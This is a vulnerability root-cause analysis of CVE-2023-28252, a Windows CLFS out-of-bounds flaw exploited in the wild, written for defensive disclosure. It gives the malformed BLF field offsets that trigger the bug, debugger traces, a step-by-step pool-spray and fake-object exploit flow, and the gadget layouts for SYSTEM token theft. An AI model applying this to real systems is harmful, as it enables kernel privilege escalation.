Genwei Jiang, FLARE OTF

The Basics

Disclosure or Patch Date: April 11, 2023

Product: Windows

Advisory: https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2023-28252

Affected Versions: Before security updates of April 11, 2023, for Windows 10, 11 and Windows Server 2008, 2012, 2016, 2019, 2022

First Patched Version: Security updates of April 11, 2023, for CVE-2023-28252

Issue/Bug Report: MSRC-78564

Patch CL: N/A

Bug-Introducing CL: N/A

Reporter(s): Boris Larin (oct0xor) with Kaspersky, Genwei Jiang with FLARE OTF of Google Cloud + Mandiant, Quan Jin with DBAPPSecurity WeBin Lab

The Code

Proof-of-concept: See exploit sample

Exploit sample: https://www.virustotal.com/gui/file/018c464676b4a71be83bc073f482e94a4850e9c24abe4c4ed1285258ca95a21e

Did you have access to the exploit sample when doing the analysis? Yes

The Vulnerability

Bug class: Out-Of-Bound Read/Write

Vulnerability details: An Out of bound(OOB) read and write vulnerability exists in CClfsBaseFilePersisted::ExtendMetadataBlock and CClfsBaseFilePersisted::WriteMetadataBlock when parsing a malformed BLF file. The malformed BLF file is constructed similar to the pseudo code of following, that the fields of ControlRecordShadow.iExtendBlock and ControlRecordShadow.iFlushBlock both set as 0x13, this leads to out of bound read in CLFS!CClfsBaseFilePersisted::ExtendMetadataBlock and CLFS!CClfsBaseFilePersisted::WriteMetadataBlock.

    // params: blf path, offset, value, size
    WriteFileAt(blf_ext, 0x484,  0x2,   4);   // ControlRecordShadow.eExtendState == ClfsExtendStateFlushingBlock
    WriteFileAt(blf_ext, 0x488,  0x13,  2);   // ControlRecordShadow.iExtendBlock
    WriteFileAt(blf_ext, 0x48a,  0x13,  2);   // ControlRecordShadow.iFlushBlock
    WriteFileAt(blf_ext, 0x84,   0x2,   4);   // ControlRecord.eExtendState == ClfsExtendStateFlushingBlock
    WriteFileAt(blf_ext, 0x88,   0x4,   2);   // ControlRecord.iExtendBlock
    WriteFileAt(blf_ext, 0x8a,   0x4,   2);   // ControlRecord.iFlushBlock
    WriteFileAt(blf_ext, 0x90,   0x1,   4);   // ControlRecord.cExtendStartSectors == 1
    WriteFileAt(blf_ext, 0x94,   0x3,   4);   // ControlRecord.cExtendSectors == 3
    WriteFileAt(blf_ext, 0x9c,   0x2,   4);   // ControlRecord.cxTruncate.cClients == 2
    WriteFileAt(blf_ext, 0x70,   0x2,   4);   // ControlRecord.hdrControlRecord.ullDumpCount == 2
    WriteFileAt(blf_ext, 0x6,    0x1,   2);   // ControlRecordHeader.ValidSectorCount == 1

By enabling the special pool for clfs.sys, a tyipcal BSOD would occur in CClfsBaseFilePersisted::ExtendMetadataBlock as followings:

TRAP_FRAME:  ffffad89e9379240 -- (.trap 0xffffad89e9379240)
NOTE: The trap frame does not contain all registers.
Some register values may be zeroed or incorrect.
rax=ffff8a03a5212f70 rbx=0000000000000000 rcx=0000000000000039  // 0x13 * 3
rdx=0000000000000013 rsi=0000000000000000 rdi=0000000000000000
rip=fffff801724b14e4 rsp=ffffad89e93793d0 rbp=0000000000000002
 r8=0000000000000390  r9=0000000000000013 r10=ffffb209f6ef0c70
r11=0000000000000001 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei pl zr na po nc
CLFS!CClfsBaseFilePersisted::ExtendMetadataBlock+0x3e8:
fffff801`724b14e4 448b44c808      mov     r8d,dword ptr [rax+rcx*8+8] ds:ffff8a03`a5213140=????????
Resetting default scope
STACK_TEXT:
ffffad89`e93787e8 fffff801`72b344a2     : ffffad89`e9378950 fffff801`7299ca50 fffff801`72460000 00000000`00000000 : nt!DbgBreakPointWithStatus
ffffad89`e93787f0 fffff801`72b33a86     : fffff801`00000003 ffffad89`e9378950 fffff801`72a2f690 ffffad89`e9378ea0 : nt!KiBugCheckDebugBreak+0x12
ffffad89`e9378850 fffff801`72a183a7     : 00000000`00000000 00000000`00000000 ffff8a03`a5213140 ffff8a03`a5213140 : nt!KeBugCheck2+0x946
ffffad89`e9378f60 fffff801`72a5321d     : 00000000`00000050 ffff8a03`a5213140 00000000`00000000 ffffad89`e9379240 : nt!KeBugCheckEx+0x107
ffffad89`e9378fa0 fffff801`72858a40     : 00000000`00000000 00000000`00000000 ffffad89`e93792c0 00000000`00000000 : nt!MiSystemFault+0x1dc7ad
ffffad89`e93790a0 fffff801`72a27dd8     : ffffb209`f6ef0c00 00000000`00000000 00000000`00000000 ffffb209`f6eeec00 : nt!MmAccessFault+0x400
ffffad89`e9379240 fffff801`724b14e4     : 00000000`00000000 ffffad89`e9379578 ffff8a03`a5210f90 00000000`00000000 : nt!KiPageFault+0x358
ffffad89`e93793d0 fffff801`7248b489     : ffff8a03`a553b000 ffff8a03`00000002 ffff8a03`a5539201 ffffad89`00000030 : CLFS!CClfsBaseFilePersisted::ExtendMetadataBlock+0x3e8
ffffad89`e93794a0 fffff801`7248c90c     : ffff8a03`a553b000 ffffad89`e93796a8 ffff8a03`a5539001 fffff801`72948a50 : CLFS!CClfsBaseFilePersisted::AddSymbol+0x10d
ffffad89`e9379520 fffff801`7248b036     : ffff8a03`a553b000 ffffad89`e93796a8 00000000`00000120 fffff801`00000000 : CLFS!CClfsBaseFilePersisted::AddContainer+0xdc
ffffad89`e93795d0 fffff801`724b4379     : ffff8a03`a5539000 fffff801`ffffffff ffffad89`e93796a8 fffff801`72ff489f : CLFS!CClfsLogFcbPhysical::AllocContainer+0x136
ffffad89`e9379670 fffff801`72492a25     : ffff8a03`a520aee0 00000000`00000020 00000000`00000040 00000000`00000040 : CLFS!CClfsRequest::AllocContainer+0x27d
ffffad89`e9379730 fffff801`72492537     : ffff8a03`a520aee0 fffff801`72ffab6d ffff8a03`a03e4540 00000000`00000204 : CLFS!CClfsRequest::Dispatch+0x351
ffffad89`e9379780 fffff801`72492487     : ffff8a03`a4e893e0 ffff8a03`a4e893e0 00000000`00000001 b209f6a9`bb900410 : CLFS!ClfsDispatchIoRequest+0x87
ffffad89`e93797d0 fffff801`72849715     : ffff8a03`a4e893e0 fffff801`72846610 00000000`00000020 00000000`20206f49 : CLFS!CClfsDriver::LogIoDispatch+0x27
ffffad89`e9379800 fffff801`72c385c8     : ffffad89`e9379b80 ffff8a03`a4e893e0 00000000`00000001 ffffad89`e9379b80 : nt!IofCallDriver+0x55
ffffad89`e9379840 fffff801`72c383c7     : 00000000`00000000 ffffad89`e9379b80 00000000`00000000 ffffad89`e9379b80 : nt!IopSynchronousServiceTail+0x1a8
ffffad89`e93798e0 fffff801`72c37746     : 00007ffd`8349e200 00000000`00000000 00000000`00000000 00000000`00000000 : nt!IopXxxControlFile+0xc67
ffffad89`e9379a20 fffff801`72a2baf5     : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : nt!NtDeviceIoControlFile+0x56
ffffad89`e9379a90 00007ffd`8512d1a4     : 00007ffd`829e572b 00000000`00000001 00000206`d09aeb90 00000000`00000002 : nt!KiSystemServiceCopyEnd+0x25
00000070`e815f168 00007ffd`829e572b     : 00000000`00000001 00000206`d09aeb90 00000000`00000002 00007ffd`850aa9c3 : ntdll!NtDeviceIoControlFile+0x14
00000070`e815f170 00007ffd`83395bf1     : 00000000`8007a808 00007ffd`850b47b1 00000206`d24a1460 00000206`d09a0000 : KERNELBASE!DeviceIoControl+0x6b
00000070`e815f1e0 00007ffd`71512895     : 00000206`d24a1460 00000000`00000000 00000000`00000000 00000000`00000001 : KERNEL32!DeviceIoControlImplementation+0x81
00000070`e815f230 00007ffd`7151245c     : 00000000`000000c4 000088fd`00000021 00000070`e815f380 00000070`e815f360 : clfsw32!AddLogContainerSet+0x425
00000070`e815f310 00007ff7`7b251ea6     : 00000000`00000001 00000000`00000029 00000070`e815f790 00000000`00000000 : clfsw32!AddLogContainer+0x3c
00000070`e815f350 00000000`00000001     : 00000000`00000029 00000070`e815f790 00000000`00000000 00000000`00000004 : clfspoc0326!main+0xc6 [C:\devel\clfs74178\clfspoc0326\clfspoc0326.cpp @ 156]
00000070`e815f358 00000000`00000029     : 00000070`e815f790 00000000`00000000 00000000`00000004 00007ffd`00000000 : 0x1
00000070`e815f360 00000070`e815f790     : 00000000`00000000 00000000`00000004 00007ffd`00000000 00000000`00000200 : 0x29
00000070`e815f368 00000000`00000000     : 00000000`00000004 00007ffd`00000000 00000000`00000200 00000000`00000000 : 0x00000070`e815f790
1: kd> !pool ffff8a03a5212f70
Pool page ffff8a03a5212f70 region is Special pool
*ffff8a03a5212000 size:   90 data: ffff8a03a5212f70 (NonPaged) *Clfs
		Pooltag Clfs : CLFS General buffer, or owner page lookaside list, Binary : clfs.sys
1: kd> dq ffff8a03a5212f70 l90/8+2
ffff8a03`a5212f70  ffffb209`f6ef0c00 00000000`00000400
ffff8a03`a5212f80  00000000`00000000 ffffb209`f6ef0c00
ffff8a03`a5212f90  00000400`00000400 00000000`00000001
ffff8a03`a5212fa0  ffffb209`fba4a000 00000800`00007a00
ffff8a03`a5212fb0  00000000`00000002 ffffb209`fba4a000
ffff8a03`a5212fc0  00008200`00007a00 00000000`00000003
ffff8a03`a5212fd0  ffffb209`f6edee00 0000fc00`00000200
ffff8a03`a5212fe0  00000000`00000004 ffffb209`f6edee00
ffff8a03`a5212ff0  0000fe00`00000200 00000000`00000005
ffff8a03`a5213000  ????????`???????? ????????`????????

The OOB read in CLFS!CClfsBaseFilePersisted::WriteMetadataBlock leads to one byte increment of the rgContainers[0] value, that results pointing to a fake CONTAINER_CONTEXT with a user space address 0x5000000 treated as an object's vftable pointer, detonating the placed gadgets and escalating privilege to SYSTEM.

0: kd>
rax=0000000000000001 rbx=0000000000000000 rcx=fffff8014a24c180
rdx=0000000000000000 rsi=0000000000000013 rdi=ffff820bcb188000
rip=fffff8014b293e85 rsp=fffff48ea2f7c340 rbp=0000000000000002
 r8=0000000000000000  r9=0000000000000013 r10=0000000000000000
r11=ffffa38528b05b20 r12=ffffa385273abb00 r13=0000000000000013  // 0x13
r14=0000000000000002 r15=0000000000000000
iopl=0         nv up ei ng nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040286
CLFS!CClfsBaseFilePersisted::WriteMetadataBlock+0x55:
fffff801`4b293e85 488d0c7500000000 lea     rcx,[rsi*2]
0: kd>
rax=0000000000000001 rbx=0000000000000000 rcx=0000000000000026
rdx=0000000000000000 rsi=0000000000000013 rdi=ffff820bcb188000
rip=fffff8014b293e8d rsp=fffff48ea2f7c340 rbp=0000000000000002
 r8=0000000000000000  r9=0000000000000013 r10=0000000000000000
r11=ffffa38528b05b20 r12=ffffa385273abb00 r13=0000000000000013
r14=0000000000000002 r15=0000000000000000
iopl=0         nv up ei ng nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040286
CLFS!CClfsBaseFilePersisted::WriteMetadataBlock+0x5d:
fffff801`4b293e8d 4803ce          add     rcx,rsi
0: kd>
rax=0000000000000001 rbx=0000000000000000 rcx=0000000000000039
rdx=0000000000000000 rsi=0000000000000013 rdi=ffff820bcb188000
rip=fffff8014b293e90 rsp=fffff48ea2f7c340 rbp=0000000000000002
 r8=0000000000000000  r9=0000000000000013 r10=0000000000000000
r11=ffffa38528b05b20 r12=ffffa385273abb00 r13=0000000000000013
r14=0000000000000002 r15=0000000000000000
iopl=0         nv up ei pl nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040206
CLFS!CClfsBaseFilePersisted::WriteMetadataBlock+0x60:
fffff801`4b293e90 4c8d04cd00000000 lea     r8,[rcx*8]
0: kd>
rax=0000000000000001 rbx=0000000000000000 rcx=0000000000000039
rdx=0000000000000000 rsi=0000000000000013 rdi=ffff820bcb188000
rip=fffff8014b293e98 rsp=fffff48ea2f7c340 rbp=0000000000000002
 r8=00000000000001c8  r9=0000000000000013 r10=0000000000000000
r11=ffffa38528b05b20 r12=ffffa385273abb00 r13=0000000000000013
r14=0000000000000002 r15=0000000000000000
iopl=0         nv up ei pl nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040206
CLFS!CClfsBaseFilePersisted::WriteMetadataBlock+0x68:
fffff801`4b293e98 488b4f30        mov     rcx,qword ptr [rdi+30h] ds:002b:ffff820b`cb188030=ffff820bccc2f1f0
0: kd>
rax=0000000000000001 rbx=0000000000000000 rcx=ffff820bccc2f1f0
rdx=0000000000000000 rsi=0000000000000013 rdi=ffff820bcb188000
rip=fffff8014b293e9c rsp=fffff48ea2f7c340 rbp=0000000000000002
 r8=00000000000001c8  r9=0000000000000013 r10=0000000000000000
r11=ffffa38528b05b20 r12=ffffa385273abb00 r13=0000000000000013
r14=0000000000000002 r15=0000000000000000
iopl=0         nv up ei pl nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040206
CLFS!CClfsBaseFilePersisted::WriteMetadataBlock+0x6c:
fffff801`4b293e9c 4d8b3408        mov     r14,qword ptr [r8+rcx] ds:002b:ffff820b`ccc2f3b8=ffffa3852abaa030
0: kd> !pool ffff820bccc2f1f0
Pool page ffff820bccc2f1f0 region is Nonpaged pool
 ffff820bccc2f000 size:   a0 previous size:    0  (Allocated)  NpFr Process: ffff820bca40b080
 ffff820bccc2f0a0 size:   a0 previous size:    0  (Allocated)  NpFr Process: ffff820bca40b080
 ffff820bccc2f140 size:   a0 previous size:    0  (Allocated)  NpFr Process: ffff820bca40b080
*ffff820bccc2f1e0 size:   a0 previous size:    0  (Allocated) *Clfs
		Pooltag Clfs : CLFS General buffer, or owner page lookaside list, Binary : clfs.sys
 ffff820bccc2f280 size:   a0 previous size:    0  (Allocated)  NpFr Process: ffff820bca40b080
 ffff820bccc2f320 size:   a0 previous size:    0  (Allocated)  NpFr Process: ffff820bca40b080       // out of bound read
 ffff820bccc2f3c0 size:   a0 previous size:    0  (Allocated)  NpFr Process: ffff820bca40b080
 ffff820bccc2f460 size:   a0 previous size:    0  (Allocated)  NpFr Process: ffff820bca40b080
 ffff820bccc2f500 size:   a0 previous size:    0  (Allocated)  NpFr Process: ffff820bca40b080
0: kd> dq ffff820bccc2f320 l0n10
ffff820b`ccc2f320  7246704e`0a0a0000 e059536e`7b11e38d
ffff820b`ccc2f330  ffffa385`2d406518 ffffa385`2d406518
ffff820b`ccc2f340  00000000`00000000 ffffa385`2dac6460
ffff820b`ccc2f350  00000060`00000000 00000000`00000060
ffff820b`ccc2f360  ffffa385`2abaa030 ffffa385`2abaa030              // g_clfs_target_obj + 30
ffff820b`ccc2f370  ffffa385`2abaa030 ffffa385`2abaa030
ffff820b`ccc2f380  ffffa385`2abaa030 ffffa385`2abaa030
ffff820b`ccc2f390  ffffa385`2abaa030 ffffa385`2abaa030
ffff820b`ccc2f3a0  ffffa385`2abaa030 ffffa385`2abaa030
ffff820b`ccc2f3b0  ffffa385`2abaa030 ffffa385`2abaa030
0: kd> !pool ffffa385`2abaa030
Pool page ffffa3852abaa030 region is Paged pool
*ffffa3852abaa000 : large page allocation, tag is Clfs, size is 0x7a00 bytes
		Pooltag Clfs : CLFS General buffer, or owner page lookaside list, Binary : clfs.sys
0: kd> db ffffa385`2abaa030-30          // prepared g_clfs_target_obj
ffffa385`2abaa000  15 00 03 00 3d 00 3d 00-00 00 00 00 00 00 00 00  ....=.=.........
ffffa385`2abaa010  02 00 00 00 00 00 00 00-00 00 00 00 ff ff ff ff  ................
ffffa385`2abaa020  00 00 00 00 ff ff ff ff-70 00 00 00 00 00 00 00  ........p.......
ffffa385`2abaa030  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffa385`2abaa040  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffa385`2abaa050  00 00 00 00 00 00 00 00-69 03 00 00 00 00 00 00  ........i.......
ffffa385`2abaa060  00 00 00 00 00 00 00 00-80 79 00 00 00 00 00 00  .........y......
ffffa385`2abaa070  05 00 00 00 00 00 00 00-c8 62 45 5b e7 87 ed 11  .........bE[....
0: kd> db ffffa385`2abaa030-30+1470+70  // original CONTAINER_CONTEXT
ffffa385`2abab4e0  08 f0 fd c1 30 00 00 00-00 00 08 00 00 00 00 00  ....0...........
ffffa385`2abab4f0  00 00 00 00 00 00 00 00-50 c7 01 27 85 a3 ff ff  ........P..'....
ffffa385`2abab500  01 00 00 00 02 00 00 00-00 00 00 00 00 00 00 00  ................
ffffa385`2abab510  5c 00 3f 00 3f 00 5c 00-43 00 3a 00 5c 00 55 00  \.?.?.\.C.:.\.U.
ffffa385`2abab520  73 00 65 00 72 00 73 00-5c 00 50 00 75 00 62 00  s.e.r.s.\.P.u.b.
ffffa385`2abab530  6c 00 69 00 63 00 5c 00-2e 00 63 00 6f 00 6e 00  l.i.c.\...c.o.n.
ffffa385`2abab540  74 00 61 00 69 00 6e 00-65 00 72 00 5f 00 31 00  t.a.i.n.e.r._.1.
ffffa385`2abab550  31 00 36 00 39 00 31 00-39 00 00 00 00 00 00 00  1.6.9.1.9.......
0: kd> db ffffa385`2abaa030-30+1570+70  // fake CONTAINER_CONTEXT
ffffa385`2abab5e0  08 f0 fd c1 30 00 00 00-00 00 00 00 00 00 00 00  ....0...........
ffffa385`2abab5f0  00 00 00 00 00 00 00 00-00 00 00 05 00 00 00 00  ................
ffffa385`2abab600  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffa385`2abab610  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffa385`2abab620  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffa385`2abab630  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffa385`2abab640  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffa385`2abab650  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0: kd> db ffffa385`2abaa030-30+398 l10  // rgContainers[0]
ffffa385`2abaa398  70 14 00 00 00 00 00 00-00 00 00 00 00 00 00 00  p...............
...
0: kd>
rax=0000000000000001 rbx=0000000000000000 rcx=ffff820bccc2f1f0
rdx=0000000000000000 rsi=0000000000000013 rdi=ffff820bcb188000
rip=fffff8014b293ec2 rsp=fffff48ea2f7c340 rbp=0000000000000002
 r8=00000000000001c8  r9=0000000000000013 r10=0000000000000000
r11=ffffa38528b05b20 r12=ffffa385273abb01 r13=0000000000000013
r14=ffffa3852abaa030 r15=0000000000000000
iopl=0         nv up ei ng nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040286
CLFS!CClfsBaseFilePersisted::WriteMetadataBlock+0x92:
fffff801`4b293ec2 418b4628        mov     eax,dword ptr [r14+28h] ds:002b:ffffa385`2abaa058=00000369
0: kd>
rax=0000000000000369 rbx=0000000000000000 rcx=ffff820bccc2f1f0
rdx=0000000000000000 rsi=0000000000000013 rdi=ffff820bcb188000
rip=fffff8014b293ec6 rsp=fffff48ea2f7c340 rbp=0000000000000002
 r8=00000000000001c8  r9=0000000000000013 r10=0000000000000000
r11=ffffa38528b05b20 r12=ffffa385273abb01 r13=0000000000000013
r14=ffffa3852abaa030 r15=0000000000000000
iopl=0         nv up ei ng nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040286
CLFS!CClfsBaseFilePersisted::WriteMetadataBlock+0x96:
fffff801`4b293ec6 4aff0430        inc     qword ptr [rax+r14] ds:002b:ffffa385`2abaa399=0000000000000014        // one byte inc
0: kd>
rax=0000000000000369 rbx=0000000000000000 rcx=ffff820bccc2f1f0
rdx=0000000000000000 rsi=0000000000000013 rdi=ffff820bcb188000
rip=fffff8014b293eca rsp=fffff48ea2f7c340 rbp=0000000000000002
 r8=00000000000001c8  r9=0000000000000013 r10=0000000000000000
r11=ffffa38528b05b20 r12=ffffa385273abb01 r13=0000000000000013
r14=ffffa3852abaa030 r15=0000000000000000
iopl=0         nv up ei pl nz na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040202
CLFS!CClfsBaseFilePersisted::WriteMetadataBlock+0x9a:
fffff801`4b293eca 4e8b0c30        mov     r9,qword ptr [rax+r14] ds:002b:ffffa385`2abaa399=0000000000000015

Patch analysis: More BLF format validation checks added in CClfsBaseFilePersisted::WriteMetadataBlock and CClfsBaseFile::GetControlRecord.

Thoughts on how this vuln might have been found (fuzzing, code auditing, variant analysis, etc.): The ITW exploitation strategies and code flows are close to the exploit of CVE-2023-23376. It's likely that this bug was found through variant analysis.

(Historical/present/future) context of bug:

The Exploit

(The terms exploit primitive, exploit strategy, exploit technique, and exploit flow are defined here.)

Exploit strategy (or strategies): Leverage the OOB read and subsequent one byte increment primitive to convert the vulnerability into a type confusion, that a user space address 0x5000000 treated as an object's vftable pointer, detonating the placed gadgets and escalating privilege to SYSTEM.

Exploit flow: The ITW exploit deploys similar strategy to escalate privilege to SYSTEM for Windows 10 and Windows 11, the leveraged gadgets chain and arbitrary kernel memory read and write(ARW) primitive are different.

  • Initialize APIs and related kernel object offsets
  • Leak SYSTEM object's and current process's kernel address through NtQuerySystemInformation
  • Prepare gadgets APIs kernel address
  • Create a target BLF file, prepare the CONTAINER_CONTEXT object at offset 0x1470 and a fake CONTAINER_CONTEXT object at offset 0x1570
  • Create 10 triggering BLF files, that contains the malformed fields
  • Spray the pool through Pipe, fill in the Pipe data with targeted BLF file object
  • Create holes by closing specific Pipe handles
  • Filling the holes by CreateLogFile on the triggering BLF file
  • Place gadgets at address 0x5000000
  • Trigger the OOB vulnerability by AddLogContainer call on the triggering BLF file handle, causing the one byte increment of targeted BLF object
  • Detonate gadgets by CreateLogFile call on the targeted BLF file object

Exploit Gadgets for Windows 10: The gadgets for Windows 10 overwrites the PreviousMode of current process to KernelMode, that enables the arbitrary kernel memory address read and write primitive through NtWriteVirtualMemory call. The exploit escalates the privilege by overwriting the Token of current process with the leaked SYSTEM token.

0: kd> dq 00000000`05000000
00000000`05000000  00000000`05001000 ffff820b`c6fba2b2
00000000`05000010  00000000`00000000 00000000`00000000
00000000`05000020  00000000`00000000 00000000`00000000
00000000`05000030  ffff820b`ce789420 00000000`00000000
00000000`05000040  00000000`00000000 00000000`00000000
00000000`05000050  00000000`00000000 00000000`00000000
00000000`05000060  00000000`00000000 00000000`00000000
00000000`05000070  00000000`00000000 00000000`00000000
0: kd> dqs 00000000`05001000
00000000`05001000  fffff801`4b2a1d60 CLFS!ClfsMgmtDeregisterManagedClient
00000000`05001008  fffff801`4b272b50 CLFS!ClfsEarlierLsn
00000000`05001010  fffff801`4b272b50 CLFS!ClfsEarlierLsn
00000000`05001018  fffff801`4b272b50 CLFS!ClfsEarlierLsn
00000000`05001020  fffff801`4b272b50 CLFS!ClfsEarlierLsn
00000000`05001028  fffff801`4b74d700 nt!RtlClearBit
00000000`05001030  fffff801`4b272b50 CLFS!ClfsEarlierLsn
00000000`05001038  fffff801`4b272b50 CLFS!ClfsEarlierLsn
00000000`05001040  fffff801`4b272b50 CLFS!ClfsEarlierLsn
00000000`05001048  fffff801`4b272b50 CLFS!ClfsEarlierLsn
00000000`05001050  fffff801`4b272b50 CLFS!ClfsEarlierLsn
00000000`05001058  fffff801`4b272b50 CLFS!ClfsEarlierLsn
00000000`05001060  fffff801`4b272b50 CLFS!ClfsEarlierLsn
00000000`05001068  fffff801`4b272b50 CLFS!ClfsEarlierLsn
00000000`05001070  fffff801`4b272b50 CLFS!ClfsEarlierLsn
00000000`05001078  fffff801`4b272b50 CLFS!ClfsEarlierLsn
0: kd> dt nt!_file_object ffff820b`ce789420 FileName
   +0x058 FileName : _UNICODE_STRING "\Users\Public\p_00003771"
0: kd> dt nt!_kthread ffff820b`c6fba2b2-232 PreviousMode
   +0x232 PreviousMode : 1 ''
0: kd> db ffff820b`c6fba2b2 l10
ffff820b`c6fba2b2  01 08 00 00 00 00 14 00-00 00 00 00 00 00 01 00  ................

Exploit Gadgets for Windows 11: The gadgets for Windows 11 corruppts the pipe attribute fields, that enables the arbitrary kernel memory address read and write primitive through NtFsControlFile call. The exploit escalates the privilege by overwriting the Token of current process with the leaked SYSTEM token.

0: kd> dq 0000000005000000
00000000`05000000  00000000`05001000 00000000`00000000
00000000`05000010  00000000`00000000 00000000`00000000
00000000`05000020  00000000`00000000 00000000`00000000
00000000`05000030  ffff898a`65108450 00000000`00000000
00000000`05000040  00000000`05000000 00000000`05000400
00000000`05000050  00000000`00000000 00000000`00000000
00000000`05000060  00000000`00000000 fffff807`4105bfb0
00000000`05000070  00000000`00000000 00000000`00000000
0: kd> dt nt!_file_object ffff898a`65108450 FileName
   +0x058 FileName : _UNICODE_STRING "\Users\Public\p_00029935"
0: kd> .printf "%y\n", fffff807`4105bfb0
CLFS!ClfsMgmtDeregisterManagedClient (fffff807`4105bfb0)
0: kd> dqs 00000000`05001000
00000000`05001000  fffff807`41043220 CLFS!ClfsEarlierLsn
00000000`05001008  fffff807`3c1dc3b0 nt!PoFxProcessorNotification
00000000`05001010  fffff807`41043220 CLFS!ClfsEarlierLsn
00000000`05001018  fffff807`41043220 CLFS!ClfsEarlierLsn
00000000`05001020  fffff807`41043220 CLFS!ClfsEarlierLsn
00000000`05001028  fffff807`41043220 CLFS!ClfsEarlierLsn
00000000`05001030  fffff807`41043220 CLFS!ClfsEarlierLsn
00000000`05001038  fffff807`41043220 CLFS!ClfsEarlierLsn
00000000`05001040  fffff807`41043220 CLFS!ClfsEarlierLsn
00000000`05001048  fffff807`41043220 CLFS!ClfsEarlierLsn
00000000`05001050  fffff807`41043220 CLFS!ClfsEarlierLsn
00000000`05001058  fffff807`41043220 CLFS!ClfsEarlierLsn
00000000`05001060  fffff807`41043220 CLFS!ClfsEarlierLsn
00000000`05001068  fffff807`41043220 CLFS!ClfsEarlierLsn
00000000`05001070  fffff807`41043220 CLFS!ClfsEarlierLsn
00000000`05001078  fffff807`41043220 CLFS!ClfsEarlierLsn
0: kd> dq 00000000`05000400
00000000`05000400  00000000`05001300 00000000`00000000
00000000`05000410  00000000`00000000 00000000`00000000
00000000`05000420  00000000`00000000 00000000`00000000
00000000`05000430  00000000`00000000 00000000`00000000
00000000`05000440  00000000`00000000 ffffa002`a73ff018
00000000`05000450  00000000`00000000 00000000`00000000
00000000`05000460  00000000`00000000 00000000`00000000
00000000`05000470  00000000`00000000 00000000`00000000
0: kd> dq ffffa002`a73ff018
ffffa002`a73ff018  00000000`00000fd6 ffffa002`a73ff02a
ffffa002`a73ff028  41414141`4141005a 41414141`41414141
ffffa002`a73ff038  41414141`41414141 41414141`41414141
ffffa002`a73ff048  41414141`41414141 41414141`41414141
ffffa002`a73ff058  41414141`41414141 41414141`41414141
ffffa002`a73ff068  41414141`41414141 41414141`41414141
ffffa002`a73ff078  41414141`41414141 41414141`41414141
ffffa002`a73ff088  41414141`41414141 41414141`41414141
0: kd> dqs 00000000`05001000+300
00000000`05001300  00000000`00000000
00000000`05001308  fffff807`3c7c69b0 nt!SeSetAccessStateGenericMapping
00000000`05001310  00000000`00000000
00000000`05001318  00000000`00000000
00000000`05001320  00000000`00000000
00000000`05001328  fffff807`41043220 CLFS!ClfsEarlierLsn

Known cases of the same exploit flow: The gadgets are same as the ITW exploit of CVE-2023-23376, the code layout has overlaps with the ITW exploit of CVE-2022-37969.

Part of an exploit chain? N/A

The Next Steps

Variant analysis

Areas/approach for variant analysis (and why): N/A

Found variants: N/A

Structural improvements

What are structural improvements such as ways to kill the bug class, prevent the introduction of this vulnerability, mitigate the exploit flow, make this type of vulnerability harder to exploit, etc.? Requires further research

Ideas to kill the bug class: N/A

Ideas to mitigate the exploit flow:

  • Enable SMAP
  • Fix known kernel information leak through NtQuerySystemInformation

Other potential improvements: N/A

0-day detection methods

What are potential detection methods for similar 0-days? Meaning are there any ideas of how this exploit or similar exploits could be detected as a 0-day? Requires further research

Other References